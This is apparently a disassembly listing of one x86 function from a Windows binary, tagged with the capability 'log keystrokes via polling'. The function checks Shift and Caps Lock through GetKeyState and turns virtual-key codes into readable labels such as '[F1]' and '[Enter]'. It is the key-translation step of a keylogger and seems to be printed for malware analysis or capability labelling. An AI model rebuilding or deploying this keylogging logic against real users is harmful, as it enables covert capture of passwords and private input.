Function at 0x10012510
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100194a9
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x10021008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov esi, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
push 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
push 0x1001a585
mov byte [esi], 0
call fcn.10001440
mov dword [ebp - 4], 0
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
mov dword [ebp - 0x14], 1
call edi
movsx ecx, ax
shr ecx, 0x1f
mov dword [ebp - 0x10], ecx
cmp ebx, 0xba
jl case.0x100125b9.193
cmp ebx, 0xde
jg case.0x100125b9.193
lea eax, [ebx - 0xba]
cmp eax, 0x24
ja case.0x100125b9.193
movzx eax, byte [eax + 0x10013168]
jmp dword [eax*4 + 0x10013138]
test cl, cl
mov ecx, esi
push 1
je 0x100125d2
push str.:_____._____
jmp 0x100126e2
push 0x1001baf8
jmp 0x100126e2
test cl, cl
mov ecx, esi
push 1
je 0x100125ee
push 0x1001bafc
jmp 0x100126e2
push 0x1001bb00
jmp 0x100126e2
test cl, cl
mov ecx, esi
push 1
je 0x1001260a
push 0x1001bb04
jmp 0x100126e2
push 0x1001bb08
jmp 0x100126e2
test cl, cl
mov ecx, esi
push 1
je 0x10012626
push 0x1001bb0c
jmp 0x100126e2
push 0x1001b9ac
jmp 0x100126e2
test cl, cl
mov ecx, esi
push 1
je 0x10012642
push 0x1001bb10
jmp 0x100126e2
push 0x1001bb14
jmp 0x100126e2
test cl, cl
mov ecx, esi
push 1
je 0x1001265e
push 0x1001bb18
jmp 0x100126e2
push 0x1001bb1c
jmp 0x100126e2
test cl, cl
mov ecx, esi
push 1
je 0x10012674
push 0x1001bb20
jmp 0x100126e2
push 0x1001bb24
jmp 0x100126e2
test cl, cl
mov ecx, esi
push 1
je 0x1001268a
push 0x1001bb28
jmp 0x100126e2
push 0x1001bb2c
jmp 0x100126e2
test cl, cl
mov ecx, esi
push 1
je 0x100126a0
push 0x1001bb30
jmp 0x100126e2
push 0x1001bb34
jmp 0x100126e2
test cl, cl
mov ecx, esi
push 1
je 0x100126b6
push 0x1001bb38
jmp 0x100126e2
push 0x1001bb3c
jmp 0x100126e2
test cl, cl
je 0x100126d9
cmp dword [esi + 0x14], 0x10
mov eax, esi
mov dword [esi + 0x10], 1
jb 0x100126d2
mov eax, dword [esi]
mov word [eax], 0x22
jmp case.0x100125b9.193
push 1
push 0x1001bb40
mov ecx, esi
call fcn.10001440
mov ecx, dword [ebp - 0x10]
cmp ebx, 9
jne 0x1001271f
push 5
push 0x1001bb44
mov ecx, esi
call fcn.10001440
push 5
push 0x1001bb44
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x1b
jne 0x10012746
push 5
push str._Esc_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x70
jne 0x1001276d
push 4
push str._F1_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x71
jne 0x10012794
push 4
push str._F2_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x72
jne 0x100127bb
push 4
push str._F3_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x73
jne 0x100127e2
push 4
push str._F4_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x74
jne 0x10012809
push 4
push str._F5_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x75
jne 0x10012830
push 4
push str._F6_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x76
jne 0x10012857
push 4
push str._F7_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x77
jne 0x1001287e
push 4
push str._F8_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x78
jne 0x100128a5
push 4
push str._F9_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x79
jne 0x100128cc
push 5
push str._F10_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x7a
jne 0x100128f3
push 5
push str._F11_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x7b
jne 0x1001291a
push 5
push str._F12_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x2c
jne 0x10012941
push 8
push str._PrScrn_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x91
jne 0x1001296b
push 0xd
push str._Scroll_Lock_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x13
jne 0x10012992
push 7
push str._Pause_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x14
jne 0x100129b9
push 0xb
push str._Caps_Lock_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 8
jne 0x100129e0
push 0xb
push str._Backspace_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xd
jne 0x10012a07
push 8
push str._Enter__n
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x20
jne 0x10012a2e
push 1
push 0x1001bbfc
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 9
jne 0x10012a55
push 5
push 0x1001bb44
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xa2
jne 0x10012a7f
push 6
push str._Ctrl_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xa3
jne 0x10012aa9
push 6
push str._CTRL_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xa4
jne 0x10012ad3
push 5
push str._Alt_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x5b
jne 0x10012afa
push 5
push str._Win_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x5c
jne 0x10012b21
push 5
push str._WIN_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x5d
jne 0x10012b48
push 4
push 0x1001bc28
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x2d
jne 0x10012b6f
push 8
push str._Insert_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x2e
jne 0x10012b96
push 8
push str._Delete_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x24
jne 0x10012bbd
push 6
push str._Home_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x23
jne 0x10012be4
push 5
push str._End_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x21
jne 0x10012c0b
push 6
push str._PgUp_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x22
jne 0x10012c32
push 8
push str._PgDown_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 3
jne 0x10012c59
push 8
push str._Cancel_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xc
jne 0x10012c80
push 7
push str._Clear_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x29
jne 0x10012ca7
push 8
push str._Select_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x2a
jne 0x10012cce
push 7
push str._Print_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x2b
jne 0x10012cf5
push 9
push str._Execute_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x25
jne 0x10012d1c
push 4
push 0x1001bca0
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x27
jne 0x10012d43
push 4
push 0x1001bca8
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x26
jne 0x10012d6a
push 4
push 0x1001bcb0
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x28
jne 0x10012d91
push 4
push 0x1001bcb8
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x90
jne 0x10012dbb
push 9
push str._NumLock_
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x6b
jne 0x10012de2
push 1
push 0x1001bafc
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x6d
jne 0x10012e09
push 1
push 0x1001b9ac
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x6a
jne 0x10012e30
push 1
push 0x1001ba88
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x6f
jne 0x10012e57
push 1
push 0x1001bb1c
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xbe
je 0x100130d6
cmp ebx, 0x6e
je 0x100130d6
cmp ebx, 0x60
jne 0x10012e93
push 1
push str.0123456789______
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x61
jne 0x10012eba
push 1
push 0x1001bcd0
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x62
jne 0x10012ee1
push 1
push 0x1001bcd4
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x63
jne 0x10012f08
push 1
push 0x1001bcd8
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x64
jne 0x10012f2f
push 1
push 0x1001bcdc
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x65
jne 0x10012f56
push 1
push 0x1001bce0
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x66
jne 0x10012f7d
push 1
push 0x1001bce4
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x67
jne 0x10012fa4
push 1
push 0x1001bce8
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x68
jne 0x10012fcb
push 1
push 0x1001bcec
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x69
jne 0x10012ff2
push 1
push 0x1001bcf0
mov ecx, esi
call fcn.10001440
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x61
jl 0x1001303a
cmp ebx, 0x7a
jg 0x1001303a
push 0x14
call edi
test ax, ax
mov dword [esi + 0x10], 1
mov eax, esi
je 0x1001301a
cmp byte [ebp - 0x10], 0
jne 0x100130c6
jmp 0x10013024
cmp byte [ebp - 0x10], 0
je 0x100130c6
cmp dword [esi + 0x14], 0x10
lea ecx, [ebx - 0x20]
jb 0x1001302f
mov eax, dword [esi]
mov byte [eax], cl
mov byte [eax + 1], 0
jmp case.default.0x1001305c
cmp ebx, 0x30
jl case.default.0x1001305c
cmp ebx, 0x39
jg case.default.0x1001305c
test cl, cl
je 0x100130bd
lea eax, [ebx - 0x30]
cmp eax, 9
ja case.default.0x1001305c
jmp dword [eax*4 + 0x10013190]
push 1
push 0x1001bcf4
jmp 0x100130dd
push 1
push 0x1001bcf8
jmp 0x100130dd
push 1
push 0x1001bcfc
jmp 0x100130dd
push 1
push 0x1001bd00
jmp 0x100130dd
push 1
push 0x1001bd04
jmp 0x100130dd
push 1
push 0x1001bd08
jmp 0x100130dd
push 1
push 0x1001bd0c
jmp 0x100130dd
push 1
push 0x1001bd10
jmp 0x100130dd
push 1
push 0x1001ba88
jmp 0x100130dd
push 1
push 0x1001bd14
jmp 0x100130dd
mov dword [esi + 0x10], 1
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x100130ce
mov eax, dword [esi]
mov byte [eax], bl
mov byte [eax + 1], 0
jmp case.default.0x1001305c
push 1
push 0x1001bb14
mov ecx, esi
call fcn.10001440
cmp ebx, 1
je 0x10013124
cmp ebx, 0x41
jl 0x10013124
cmp ebx, 0x5a
jg 0x10013124
push 0x14
call edi
test ax, ax
mov dword [esi + 0x10], 1
mov eax, esi
je 0x1001310d
cmp byte [ebp - 0x10], 0
jne 0x10013113
jmp 0x10013116
cmp byte [ebp - 0x10], 0
jne 0x10013116
add bl, 0x20
cmp dword [esi + 0x14], 0x10
jb 0x1001311e
mov eax, dword [esi]
mov byte [eax + 1], 0
mov byte [eax], bl
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret